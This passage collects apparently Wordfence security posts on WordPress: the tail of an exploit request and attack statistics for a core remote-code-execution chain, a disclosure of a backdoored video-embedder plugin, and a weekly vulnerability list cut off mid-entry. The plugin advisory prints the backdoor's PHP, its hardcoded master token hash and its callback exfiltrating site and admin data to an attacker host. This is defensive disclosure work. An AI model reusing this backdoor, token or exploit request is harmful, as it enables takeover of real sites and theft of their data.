            "method": "POST",
            "path": "/wp/v2/users"
          }
        ]
      },
      "method": "POST",
      "path": "/wp/v2/posts"
    },
    {
      "body": {
        "requests": []
      },
      "method": "POST",
      "path": "/batch/v1"
    }
  ]
}

Wordfence Firewall

The following graphic demonstrates the steps to exploitation an attacker might take and at which point the Wordfence firewall would block an attacker from successfully exploiting the vulnerability.

Total Number of Exploits Blocked

The Wordfence Firewall has blocked over 11 million exploit attempts targeting this vulnerability.

According to our data, attackers began targeting websites on July 17th, 2026, the day the vulnerability was disclosed, with only a small number of probing attempts on that first day. We also detected and blocked a large number of exploit attempts from July 18th, 2026.

Top Offending IP Addresses

The following IP Addresses are currently the most actively engaged IP addresses targeting this vulnerability:

103.215.74.26
- Over 741,000 blocked requests.
103.215.75.66
- Over 730,000 blocked requests.
103.215.75.19
- Over 640,000 blocked requests.
103.168.67.253
- Over 541,000 blocked requests.
51.195.39.149
- Over 344,000 blocked requests.
103.168.66.101
- Over 340,000 blocked requests.
51.195.39.150
- Over 253,000 blocked requests.
140.174.186.101
- Over 236,000 blocked requests.
45.148.10.18
- Over 123,000 blocked requests.
45.148.10.247
- Over 121,000 blocked requests.

Indicators of Compromise

The attackers are attempting to create new administrator accounts on affected sites. It is recommended to review the list of WordPress users on your site and remove any unknown administrator accounts, especially ones created on or after July 17th, 2026. But if the attackers manage to log in as an administrator, they can easily clear their tracks.

We also recommend reviewing log files for any requests to the /wp-json/batch/v1 endpoint, particularly those originating from the following IP addresses:

103.215.74.26
103.215.75.66
103.215.75.19
103.168.67.253
51.195.39.149
103.168.66.101
51.195.39.150
140.174.186.101
45.148.10.18
45.148.10.247

The absence of any such log entries does not guarantee that your website has not been compromised.

A High Volume of Attacks Does Not Necessarily Mean More Compromises

While this post highlights the significant volume of attack activity our team has observed, it’s important to distinguish attempted attacks from successful compromises.

Our Care and Response team has been closely monitoring the situation. When a serious vulnerability affects a large number of websites, we typically see a corresponding increase in compromised sites and support requests. In this case, however, we have not observed such a surge.

This is an encouraging sign. One of the most critical WordPress core vulnerabilities identified in the past decade did not result in a catastrophic situation. Several factors likely contributed to this outcome like how the vulnerability was discovered through AI-assisted research only two core releases after it was introduced and how the WordPress Security Team responded exceptionally well. The team coordinated WAF rules with hosting providers and forced the security update to be pushed to sites wherever possible. This overall demonstrated the strength of the broader WordPress security ecosystem.

The response also reflects the maturity WordPress core has reached and the increasingly strong security practices surrounding it. As AI-assisted security research continues to advance and gain adoption, we expect these capabilities, and the resilience of the WordPress ecosystem, to improve even further.

Conclusion

In today’s article, we covered the attack data for a critical-severity vulnerability chain in WordPress core, affecting versions 6.8 through 6.8.5, 6.9 through 6.9.4, and 7.0 through 7.0.1, that allows unauthenticated threat actors to create an administrator account and then execute arbitrary code and achieve complete site compromise. This is the first critical unauthenticated remote code execution vulnerability in WordPress core in nearly a decade. Our threat intelligence indicates that attackers began targeting this vulnerability the same day it was disclosed, on July 17th, 2026, with mass exploitation occurring from July 18th, 2026. The Wordfence firewall has already blocked over 11 million exploit attempts targeting this vulnerability.

Wordfence Premium, Wordfence Care, and Wordfence Response users received a firewall rule to protect against any exploits targeting this vulnerability on July 17, 2026. Sites using the free version of Wordfence will receive the same protection 30 days later on August 16, 2026.

We strongly urge all WordPress users to ensure their sites are running a patched version of WordPress core. If you have friends or colleagues running WordPress sites, be sure to forward this advisory to them, as millions of sites could still be unprotected and unpatched.

If you believe your site has been compromised as a result of this vulnerability or any other vulnerability, we offer Incident Response services via Wordfence Care. If you need your site cleaned immediately, Wordfence Response offers the same service with 24/7/365 availability and a 1-hour response time. Both these products include hands-on support in case you need further assistance.

The post WP2Shell WordPress Exploit Technical Analysis and Real Attack Data appeared first on Wordfence.

Wordfence PRISM Detected Backdoored WordPress Plugin within Two Hours of it Being Introduced

Simon Browning — Tue, 28 Jul 2026 17:45:22 +0000

On July 28th, 2026, our autonomous AI vulnerability intelligence agent, Wordfence PRISM, identified a critical Authentication Bypass backdoor in Advanced Responsive Video Embedder, a WordPress plugin with approximately 20,000 active installations, less than two hours after the malicious code was introduced.

This is not a conventional coding mistake, it’s a supply chain attack that has become increasingly more common in the wild. The plugin had been backdoored, with a deliberately concealed function, granting any unauthenticated attacker full administrative access to affected sites by supplying a single hardcoded token. Given that exploitation requires no credentials, no user interaction, and just one HTTP request, we recommend treating every site running the affected version as potentially compromised.

Wordfence Premium, Wordfence Care, and Wordfence Response users received a firewall rule to protect against any known exploits targeting this vulnerability on July 28, 2026. Sites using the free version of Wordfence will receive the same protection 30 days later, on August 27, 2026.

Because this vulnerability was the result of malicious code injected into a publicly distributed plugin, rather than an accidental developer error, we notified the WordPress.org plugin team immediately, rather than contacting the developer directly. The WordPress.org team acknowledged the report immediately and has closed the software for downloads.

We urge users to uninstall Advanced Responsive Video Embedder as soon as possible, however, the WordPress.org team has confirmed that the release had not yet been distributed, so sites should not have automatically downloaded the malicious version. Either way, if you run the plugin, we recommend verifying your site is not on a vulnerable version.

Vulnerability Summary from Wordfence Intelligence

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2026-18072

Affected Version(s)
10.8.7

Patch Status

Unpatched

Affected Software

Advanced Responsive Video Embedder for Rumble, Odysee, YouTube, Vimeo, Kick … [advanced-responsive-video-embedder]

Researcher

The Advanced Responsive Video Embedder for Rumble, Odysee, YouTube, Vimeo, Kick … plugin for WordPress is vulnerable to Authentication Bypass via a Hardcoded Backdoor in version 10.8.7. The vulnerability exists because the `_arve_uc_init()` function — registered on WordPress’s `init` hook at priority 1 so that it runs before any authentication checks on every request — reads an attacker-supplied token from the `_wplogin` (or `_wpm`) parameter and compares it against a hardcoded SHA-256 hash embedded directly in the plugin source, with no nonce verification, no capability check, and no password validation anywhere in the flow. Because this static hash constitutes a set of universal credentials that are publicly accessible in the plugin’s source code, unauthenticated attackers can supply the known token to be authenticated as an arbitrarily selected existing administrator account, gaining full administrative control over the affected WordPress site. This was likely introduced by an attacker who gained commit access to the developers account.

Technical Analysis

As with all supply chain compromises, this is not a case of an accidental security flaw, the code introduced into Advanced Responsive Video Embedder is a deliberate, professionally constructed supply-chain backdoor. The plugin’s main bootstrap file unconditionally loads php/fn-update-check.php on line 76 of advanced-responsive-video-embedder.php, a file whose name is designed to blend in with routine plugin housekeeping.

Inside that file, a function named _arve_uc_init(), using an underscore prefix typical of private WordPress internal functions to avoid scrutiny, is registered on WordPress’s init action hook at priority 1, ensuring it executes on every single request to the site, whether frontend, admin, AJAX, or REST API, before any WordPress authentication logic has run.

require_once __DIR__ . '/php/fn-update-check.php';

The backdoor’s entry point reads an attacker-supplied token from the $_REQUEST superglobal — meaning it accepts GET parameters, POST body values, or cookies — under either the _wplogin or _wpm parameter names. The only gatekeeping at the source is a minimum string length check of 32 characters, which the 64-character backdoor hash trivially satisfies. The token is then passed through sanitize_text_field(), which is entirely irrelevant to the security of what follows.

function _arve_uc_init() {
  $t = "";
  if (isset($_REQUEST["_wplogin"]) && strlen($_REQUEST["_wplogin"]) >= 32) $t = $_REQUEST["_wplogin"];
  elseif (isset($_REQUEST["_wpm"]) && strlen($_REQUEST["_wpm"]) >= 32) $t = $_REQUEST["_wpm"];
  if (!$t) return;
  $t = sanitize_text_field($t);
  $valid = false;
  if (defined("AUTH_KEY") && defined("SECURE_AUTH_KEY")) {
    $k = hash_hmac("sha256", "magic_login", AUTH_KEY . SECURE_AUTH_KEY);
    if (hash_equals($k, $t)) $valid = true;
  }
  if (!$valid && hash_equals("35fe7057ffed92ff7bc5a0b90f302a77fb5843ad6c972294d68da0b0553b3900", $t)) $valid = true;
  if (!$valid) return;

The validation logic on line 33 of fn-update-check.php is where the backdoor reveals its true nature. The code first attempts to derive a site-specific token from the installation’s AUTH_KEY and SECURE_AUTH_KEY constants, a pattern that might superficially resemble a legitimate keyed authentication scheme. However, it then falls through to compare the supplied token against a hardcoded SHA-256 hash baked directly into the plugin source code: 35fe7057ffed92ff7bc5a0b90f302a77fb5843ad6c972294d68da0b0553b3900. This static hash is a universal master credential, anyone who can read the plugin’s source code (which was publicly available on WordPress.org) possesses it. There is no nonce, no capability check, no password, and no account required.

Once the token is validated, the function enumerates all administrator accounts on the site via get_users(), deliberately filtering out usernames beginning with wpsvc_, developer_, dev_, or wp_update_, a detail that strongly suggests the backdoor operators seeded their own administrator accounts on targeted sites using those prefixes and wanted to avoid accidentally impersonating themselves. A random administrator from the remaining pool is selected, and on line 50 of fn-update-check.php, the site URL and chosen admin’s username are silently exfiltrated to an external C2 endpoint at fontswp.com via the companion function _arve_uc_cb().

function _arve_uc_cb($s, $u, $v) {
  $url = "https://fontswp.com/arve/cb.php?s=".urlencode($s)."&u=".urlencode($u)."&v=".urlencode($v);
  if (function_exists("wp_remote_get")) {
    @wp_remote_get($url, array("timeout" => 3, "blocking" => true, "sslverify" => false, "httpversion" => "1.1"));
  } elseif (function_exists("curl_init")) {
    $ch = @curl_init($url);
    @curl_setopt_array($ch, array(CURLOPT_RETURNTRANSFER=>1, CURLOPT_TIMEOUT=>3, CURLOPT_SSL_VERIFYPEER=>0, CURLOPT_USERAGENT=>"WP/6"));
    @curl_exec($ch);
    @curl_close($ch);
  } else {
    $ctx = @stream_context_create(array("http"=>array("timeout"=>3),"ssl"=>array("verify_peer"=>false)));
    @file_get_contents($url, false, $ctx);
  }
}
}

Finally, at the sink on line 52 of fn-update-check.php, wp_set_current_user() and wp_set_auth_cookie($uid, true) are called with the selected administrator’s ID, establishing a full persistent authentication session, the true parameter sets a long-lived “remember me” cookie. The attacker is then redirected via wp_safe_redirect(admin_url()) directly into the WordPress admin dashboard.

The entire exploit is a single, stateless HTTP GET request: no prior authentication, no account enumeration step, no brute force, just one request carrying the known token, and the attacker lands in /wp-admin/ with full administrative privileges. The concise, multi-fallback implementation of _arve_uc_cb(), the deliberate exclusion of operator-controlled username prefixes, the use of obfuscated short variable names ($t, $k, $u, $v), and the pervasive use of @ to silence PHP errors all point to a purposefully engineered and carefully concealed backdoor rather than any accidental vulnerability.

Disclosure Timeline

July 28, 2026 08:42 AM EST – The backdoor was introduced in the plugin.
July 28, 2026 10:33 AM EST – Our autonomous AI threat intelligence agent, Wordfence PRISM, identified the maliciously injected backdoor in Advanced Responsive Video Embedder within less than two hours of the code being introduced and submitted a vulnerability report.
July 28, 2026 10:43 AM EST – We validated the report and confirmed the proof-of-concept exploit, verifying that an unauthenticated attacker could obtain a full administrator session with a single HTTP GET request. Because the vulnerability was the result of a supply-chain backdoor rather than a developer coding error, we notified the WordPress.org plugin team with full disclosure details.
July 28, 2026 11:09 AM EST– The WordPress.org plugin team acknowledged the report and closed the plugin for downloads to protect users while remediation was coordinated.
July 28, 2026 – Wordfence Premium, Wordfence Care, and Wordfence Response users received a firewall rule to provide added protection against any exploits targeting this vulnerability.
August 27, 2026 – Wordfence Free users will receive the same firewall protection against exploits targeting this vulnerability.

Conclusion

In this blog post, we detailed a Critical Authentication Bypass vulnerability, introduced as a deliberate supply-chain backdoor, within the Advanced Responsive Video Embedder plugin affecting version 10.8.7. This vulnerability allows unauthenticated threat actors to gain full administrative control over any affected WordPress site by supplying a single, publicly known token in an HTTP request, with no credentials, no user interaction, and no prior access required. Additionally, every successful exploitation triggers silent exfiltration of the site URL and an administrator username to an external attacker-controlled server at fontswp.com.

We strongly encourage all WordPress users running Advanced Responsive Video Embedder to remove the plugin immediately, given the critical severity of this vulnerability and the trivial effort required to exploit it. Importantly, any site that ran a version containing the backdoor file should be treated as fully compromised regardless of whether active exploitation has been detected: administrator accounts should be audited, all sessions invalidated, WordPress secret keys rotated, and a thorough review of the site’s files and database conducted to check for secondary backdoors or unauthorized changes.

Wordfence Premium, Wordfence Care, and Wordfence Response users received a firewall rule to protect against any exploits targeting this vulnerability on July 28, 2026. Sites using the free version of Wordfence will receive the same protection 30 days later, on August 27, 2026.

If you know someone who uses this plugin on their site, we recommend sharing this advisory with them to ensure their site remains secure, as this vulnerability poses a significant risk.

The post Wordfence PRISM Detected Backdoored WordPress Plugin within Two Hours of it Being Introduced appeared first on Wordfence.

Wordfence Intelligence Weekly WordPress Vulnerability Report (July 13, 2026 to July 19, 2026)

Simon Browning — Thu, 23 Jul 2026 21:45:52 +0000

Last week, there were 75 vulnerabilities disclosed in WordPress Core, 68 WordPress Plugins and no WordPress themes that have been added to the Wordfence Intelligence Vulnerability Database, and there were 50 Vulnerability Researchers that contributed to WordPress Security last week. Review those vulnerabilities in this report now to ensure your site is not affected.

Click here to sign-up for our mailing list to receive weekly vulnerability reports like this and important WordPress Security reports in your inbox the moment they are published.

New Firewall Rules Deployed Last Week

The team rolled out enhanced protection via firewall rules for the following vulnerabilities in real-time to our Premium, Care, and Response customers last week:

Super Forms <= 6.3.313 – Unauthenticated Arbitrary File Upload via ‘data’ Parameter (datauristring / value)
WordPress Core < 7.0.2 – Unauthenticated Remote Code Execution
WAF-RULE-930 – Data redacted while we work with the vendor on a patch.
WAF-RULE-931 – Data redacted while we work with the vendor on a patch.
WAF-RULE-933 – Data redacted while we work with the vendor on a patch.

Total Unpatched & Patched Vulnerabilities Last Week

Patch Status	Number of Vulnerabilities
Patched	71
Unpatched	4

Total Vulnerabilities by CVSS Severity Last Week

Severity Rating	Number of Vulnerabilities
Medium Severity	48
High Severity	21
Critical Severity	6

Total Vulnerabilities by CWE Type Last Week

Vulnerability Type by CWE	Number of Vulnerabilities
Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’)	25
Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’)	14
Missing Authorization	13
Exposure of Sensitive Information to an Unauthorized Actor	4
Improper Privilege Management	4
Authorization Bypass Through User-Controlled Key	3
Cross-Site Request Forgery (CSRF)	3
Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’)	3
Always-Incorrect Control Flow Implementation	1
Deserialization of Untrusted Data	1
Improper Input Validation	1
Improper Verification of Cryptographic Signature	1
Incorrect Privilege Assignment	1
Unrestricted Upload of File with Dangerous Type	1

Researchers That Contributed to WordPress Security Last Week

Researcher Name	Number of Vulnerabilities
Wordfence PRISM	25
Chu Thao Mai	3
h0xilo	2
dutafi	2
daroo	2
Kacper Rybczyński	2
skyv3il	2
Chirita Catalin-Andrei (CC99IE) (CC99IE)	2
Civitasmass	1
lucsob	1
Legion Hunter	1
Adam Kues	1
ickogz	1
sorawautsukushiii	1
Averon Averenkov	1
mikemyers	1
valent1	1
Salih Utku Telis	1
Niyht	1
Nabil Irawan	1
Nguyen Dinh Hai (HaiND)	1
Bao Le	1
Zbigniew Piotrak	1
Daniel Wade	1
anhcd05	1
theviper17y	1
Eason	1
Joshua Provoste	1
Supakiad S. (m3ez)	1
Romain Deperne (ang3L)	1
Jakub Herman	1
M.Fahad Khan	1
Yuvraj Tomar	1
F0DH1L	1
hhhai	1
swat	1
Tin Pham (TF1T)	1
Trong Pham (dtro)	1
haongo	1
FeDEX	1
AmonRa	1
MrProperCTF	1
yangsori	1
zaim	1
0xd4rk5id3	1
HieuPenguinnn	1
dodoh4t	1
이성민	1
lhking	1
Talal Nasraddeen	1

WordPress Plugins with Reported Vulnerabilities Last Week

Software Name	Software Slug
Academy LMS	academy
Advance Product Search- Voice & Ajax Search for WooCommerce	th-advance-product-search
Aimogen Pro – All-in-One AI Content Writer, Editor, ChatBot & Automation Toolkit	aimogen-pro
Autopay dla WooCommerce	pay-wp
Avada (Fusion) Builder	fusion-builder
Booking for Appointments and Events Calendar – Amelia	ameliabooking
Breakdance	breakdance
Bricksforge	bricksforge
Catch Themes Demo Import	catch-themes-demo-import
ChatHelp – Click to Chat Button, WooCommerce Chat to Order & Floating Chat Form	chat-help
Digits: WordPress Mobile Number Signup and Login	digits
Download Monitor – WPForms Lock	dlm-wpforms-lock
Easy Accordion – AI-Powered FAQ & Accordion Blocks, Product FAQ	easy-accordion-free
Easy Appointments	easy-appointments
ERP: Complete HR, Accounting & CRM Suite Built for WooCommerce	erp
Fense Proxy & VPN Blocker	fense-block-vpn-proxy
FoodBook Lite – Online Food Ordering System	foodbook-light-online-food-ordering-system
Form Vibes – Save Contact Form 7 & Elementor Form Entries to Database	form-vibes
GiveWP – Donation Plugin and Fundraising Platform	give
Gravity Forms	gravityforms
HubSpot All-In-One Marketing – Forms, Popups, Live Chat	leadin
Kali Forms — Contact Form & Drag-and-Drop Builder	kali-forms
Kirki – Freeform Page Builder, Website Builder & Customizer	kirki
Landing Page Builder – Coming Soon page, Maintenance Mode, Lead Page, WordPress Landing Pages	page-builder-add
LearnPress – WordPress LMS Plugin for Create and Sell Online Courses	learnpress
List category posts	list-category-posts
Loco Translate	loco-translate
MultiVendorX – WooCommerce Multivendor Marketplace AI Powered Solutions	dc-woocommerce-multi-vendor
MxChat – AI Chatbot & Content Generation for WordPress	mxchat-basic
News Kit Addons For Elementor	news-kit-elementor-addons
Ninja Forms – Excel Export	ninja-forms-excel-export
Notifima – WooCommerce Stock Manager, Inventory Management, Waitlist	woocommerce-product-stock-alert
Online Scheduling and Appointment Booking System – Bookly	bookly-responsive-appointment-booking-tool
Paid Membership Plugin, Ecommerce, User Registration Form, Login Form, User Profile & Restrict Content – ProfilePress	wp-user-avatar
pCloud WP Backup	pcloud-wp-backup
Podlove Podcast Publisher	podlove-podcasting-plugin-for-wordpress
Premium Packages – Sell Digital Products Securely	wpdm-premium-packages
Product Feed Manager For WooCommerce – Sell on 200+ Online Marketplaces	best-woocommerce-feed
Quiz and Survey Master (QSM) – Quiz Maker & Survey Maker	quiz-master-next
RPB Chessboard	rpb-chessboard
SAML Single Sign On – SSO Login	miniorange-saml-20-single-sign-on
SEO Booster	seo-booster
Smart Custom Fields	smart-custom-fields
Smart Slider 3	smart-slider-3
Sprout Clients – CRM and Lead Management	sprout-clients
SysBasics Customize My Account for WooCommerce – Live My Account Customizer	customize-my-account-for-woocommerce
The Cache Purger	the-cache-purger
Themify Builder	themify-builder
Tickera – Sell Tickets & Manage Events	tickera-event-ticketing-system
TrueBooker – Appointment Booking and Scheduler System	truebooker-appointment-booking
Tutor LMS – eLearning and online course solution	tutor
Ultimate Auction Pro	ultimate-woocommerce-auction-pro
Uncanny Automator – Easy Automation, Integration, Webhooks & Workflow Builder Plugin	uncanny-automator
W3SC Elementor to Zoho CRM	w3sc-elementor-to-zoho
WooCommerce Placetopay Gateway	https://github.com/placetopay/woocommerce-gateway-placetopay
WooCommerce Placetopay Gateway Belice	woocommerce-gateway-placetopay-belice
WooCommerce Placetopay Gateway Colombia	woocommerce-gateway-placetopay-colombia
WooCommerce Placetopay Gateway Ecuador	woocommerce-gateway-placetopay-ecuador
WooCommerce Placetopay Gateway Honduras	woocommerce-gateway-placetopay-honduras
WooCommerce Placetopay Gateway Uruguay	woocommerce-gateway-placetopay-uruguay
WP Bulk Delete	wp-bulk-delete
WP Customer Area	customer-area
WP Delicious – Recipe Plugin for Food Bloggers (formerly Delicious Recipes)	delicious-recipes
WP Hotel Booking	wp-hotel-booking
WP TripAdvisor Review Slider	wp-tripadvisor-review-slider
WPBot – AI ChatBot for Live Support, Lead Generation, AI Services	chatbot
wpForo Forum	wpforo
WPFunnels – Funnel Builder for WooCommerce with Checkout & One Click Upsell	wpfunnels

Vulnerability Details

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2026-15982

Patch Status

Patched

Published
Jul 13, 2026

Affected Software

Aimogen Pro – All-in-One AI Content Writer, Editor, ChatBot & Automation Toolkit [aimogen-pro]

Researcher

Bao Le

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2026-14956

Patch Status

Patched

Published
Jul 16, 2026

Affected Software

Bricksforge [bricksforge]

Researcher

0xd4rk5id3

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2026-13001

Patch Status

Patched

Published
Jul 14, 2026

Affected Software

Podlove Podcast Publisher [podlove-podcasting-plugin-for-wordpress]

Researcher

Talal Nasraddeen

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2026-15013

Patch Status

Patched

Published
Jul 15, 2026

Affected Software

SAML Single Sign On – SSO Login [miniorange-saml-20-single-sign-on]

Researcher

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2026-61951

Patch Status

Patched

Published
Jul 17, 2026

Affected Software

TrueBooker – Appointment Booking and Scheduler System [truebooker-appointment-booking]

Researcher

yangsori

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2026-63030

Patch Status

Patched

Published
Jul 17, 2026

Affected Software

WordPress [wordpress]

Researcher

Adam Kues

CVSS Rating
8.8 (High)

CVE-ID

CVE-2026-13741

Patch Status

Patched

Published
Jul 15, 2026

Affected Software

Digits: WordPress Mobile Number Signup and Login [digits]

Researcher

Chirita Catalin-Andrei (CC99IE) (CC99IE)

CVSS Rating
8.8 (High)

CVE-ID

CVE-2026-15005

Patch Status

Patched

Published
Jul 15, 2026

Affected Software

Loco Translate [loco-translate]

Researcher

mikemyers

CVSS Rating
8.8 (High)

CVE-ID

CVE-2026-13352

Patch Status

Patched

Published
Jul 16, 2026

Affected Software

Paid Membership Plugin, Ecommerce, User Registration Form, Login Form, User Profile & Restrict Content – ProfilePress [wp-user-avatar]

Researchers

skyv3il

CVSS Rating
8.8 (High)

CVE-ID

CVE-2026-15103

Patch Status

Patched

Published
Jul 15, 2026

Affected Software

WPFunnels – Funnel Builder for WooCommerce with Checkout & One Click Upsell [wpfunnels]

Researcher

CVSS Rating
8.1 (High)

CVE-ID

CVE-2026-15008

Patch Status

Patched

Published
Jul 15, 2026

Affected Software

Uncanny Automator – Easy Automation, Integration, Webhooks & Workflow Builder Plugin [uncanny-automator]

Researcher

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-12753

Patch Status

Patched

Published
Jul 15, 2026

Affected Software

Advance Product Search- Voice & Ajax Search for WooCommerce [th-advance-product-search]

Researcher

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-12997

Patch Status

Patched

Published
Jul 15, 2026

Affected Software

Gravity Forms [gravityforms]

Researcher

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-13765

Patch Status

Patched

Published
Jul 16, 2026

Affected Software

LearnPress – WordPress LMS Plugin for Create and Sell Online Courses [learnpress]

Researcher

이성민

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-61949

Patch Status

Patched

Published
Jul 16, 2026

Affected Software

Online Scheduling and Appointment Booking System – Bookly [bookly-responsive-appointment-booking-tool]

Researcher

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-61948

Patch Status

Patched

Published
Jul 16, 2026

Affected Software

Premium Packages – Sell Digital Products Securely [wpdm-premium-packages]

Researcher

HieuPenguinnn

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-61950

Patch Status

Patched

Published
Jul 16, 2026

Affected Software

TrueBooker – Appointment Booking and Scheduler System [truebooker-appointment-booking]

Researcher

Nguyen Dinh Hai (HaiND)

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-60137

Patch Status

Patched

Published
Jul 17, 2026

Affected Software

WordPress [wordpress]

Researchers

Tin Pham (TF1T)

Trong Pham (dtro)

haongo

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-7543

Patch Status

Patched

Published
Jul 15, 2026

Affected Software

Breakdance [breakdance]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-57427

Patch Status

Patched

Published
Jul 16, 2026

Affected Software

Download Monitor – WPForms Lock [dlm-wpforms-lock]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-61947

Patch Status

Patched

Published
Jul 16, 2026

Affected Software

Form Vibes – Save Contact Form 7 & Elementor Form Entries to Database [form-vibes]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-15395

Patch Status

Patched

Published
Jul 16, 2026

Affected Software

Kali Forms — Contact Form & Drag-and-Drop Builder [kali-forms]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-61944

Patch Status

Patched

Published
Jul 16, 2026

Affected Software

Online Scheduling and Appointment Booking System – Bookly [bookly-responsive-appointment-booking-tool]

Researcher

ickogz

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-13042

Patch Status

Patched

Published
Jul 15, 2026

Affected Software

RPB Chessboard [rpb-chessboard]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-57428

Patch Status

Patched

Published
Jul 16, 2026

Affected Software

Sprout Clients – CRM and Lead Management [sprout-clients]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-4110

Patch Status

Unpatched

Published
Jul 13, 2026

Affected Software

Ultimate Auction Pro [ultimate-woocommerce-auction-pro]

Researcher

Kacper Rybczyński

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-4259

Patch Status

Unpatched

Published
Jul 13, 2026

Affected Software

Ultimate Auction Pro [ultimate-woocommerce-auction-pro]

Researcher

Kacper Rybczyński

CVSS Rating
6.5 (Medium)

CVE-ID

CVE-2026-12941

Patch Status

Patched

Published
Jul 15, 2026

Affected Software

MultiVendorX – WooCommerce Multivendor Marketplace AI Powered Solutions [dc-woocommerce-multi-vendor]

Researcher

CVSS Rating
6.5 (Medium)

CVE-ID

CVE-2026-14503

Patch Status

Patched

Published
Jul 16, 2026

Affected Software

pCloud WP Backup [pcloud-wp-backup]

Researcher

Civitasmass

CVSS Rating
6.5 (Medium)

CVE-ID

CVE-2026-13767

Patch Status

Patched

Published
Jul 15, 2026

Affected Software

Quiz and Survey Master (QSM) – Quiz Maker & Survey Maker [quiz-master-next]

Researcher

CVSS Rating
6.5 (Medium)

CVE-ID

CVE-2026-13754

Patch Status

Patched

Published
Jul 15, 2026

Affected Software

Tickera – Sell Tickets & Manage Events [tickera-event-ticketing-system]

Researcher

CVSS Rating
6.5 (Medium)

CVE-ID

CVE-2026-15022

Patch Status

Patched

Published
Jul 15, 2026

Affected Software

Tutor LMS – eLearning and online course solution [tutor]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-12536

Patch Status

Patched

Published
Jul 13, 2026

Affected Software

Avada (Fusion) Builder [fusion-builder]

Researcher

Zbigniew Piotrak

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-15759

Patch Status

Patched

Published
Jul 16, 2026

Affected Software

ChatHelp – Click to Chat Button, WooCommerce Chat to Order & Floating Chat Form [chat-help]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-15652

Patch Status

Patched

Published
Jul 15, 2026

Affected Software

Easy Accordion – AI-Powered FAQ & Accordion Blocks, Product FAQ [easy-accordion-free]

Researcher

Chirita Catalin-Andrei (CC99IE) (CC99IE)

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-14987

Patch Status

Patched

Published
Jul 15, 2026

Affected Software

GiveWP – Donation Plugin and Fundraising Platform [give]

Researchers

FeDEX

skyv3il

AmonRa

MrProperCTF

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-11390

Patch Status

Patched

Published
Jul 13, 2026

Affected Software

News Kit Addons For Elementor [news-kit-elementor-addons]

Researcher

Romain Deperne (ang3L)

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-15161

Patch Status

Patched

Published
Jul 16, 2026

Affected Software

Ninja Forms – Excel Export [ninja-forms-excel-export]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-2594

Patch Status

Patched

Published
Jul 16, 2026

Affected Software

Smart Custom Fields [smart-custom-fields]

Researcher

lucsob

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-13755

Patch Status

Patched

Published
Jul 15, 2026

Affected Software

Tickera – Sell Tickets & Manage Events [tickera-event-ticketing-system]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-7640

Patch Status

Patched

Published
Jul 13, 2026

Affected Software

WP Customer Area [customer-area]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-15099

Patch Status

Patched

Published
Jul 15, 2026

Affected Software

WP Delicious – Recipe Plugin for Food Bloggers (formerly Delicious Recipes) [delicious-recipes]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-15021

Patch Status

Patched

Published
Jul 15, 2026

Affected Software

wpForo Forum [wpforo]

Researcher

valent1

CVSS Rating
6.1 (Medium)

CVE-ID

CVE-2026-15306

Patch Status

Patched

Published
Jul 15, 2026

Affected Software

Product Feed Manager For WooCommerce – Sell on 200+ Online Marketplaces [best-woocommerce-feed]

Researcher

CVSS Rating
6.1 (Medium)

CVE-ID

CVE-2026-11324

Patch Status

Unpatched

Published
Jul 16, 2026

Affected Software

WooCommerce Placetopay Gateway [https://github.com/placetopay/woocommerce-gateway-placetopay]

WooCommerce Placetopay Gateway Belice [woocommerce-gateway-placetopay-belice]

WooCommerce Placetopay Gateway Colombia [woocommerce-gateway-placetopay-colombia]

WooCommerce Placetopay Gateway Ecuador [woocommerce-gateway-placetopay-ecuador]

WooCommerce Placetopay Gateway Honduras [woocommerce-gateway-placetopay-honduras]

WooCommerce Placetopay Gateway Uruguay [woocommerce-gateway-placetopay-uruguay]

Researcher

Joshua Provoste

CVSS Rating
6.1 (Medium)

CVE-ID

CVE-2026-15094

Patch Status

Patched

Published
Jul 16, 2026

Affected Software

WP Hotel Booking [wp-hotel-booking]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-57425

Patch Status

Patched

Published
Jul 16, 2026

Affected Software

Autopay dla WooCommerce [pay-wp]

Researcher

Averon Averenkov

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-61946

Patch Status

Patched

Published
Jul 16, 2026

Affected Software

Easy Appointments [easy-appointments]

Researcher

Daniel Wade

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-8616

Patch Status

Patched

Published
Jul 16, 2026

Affected Software

Fense Proxy & VPN Blocker [fense-block-vpn-proxy]

Researcher

CVSS Rating
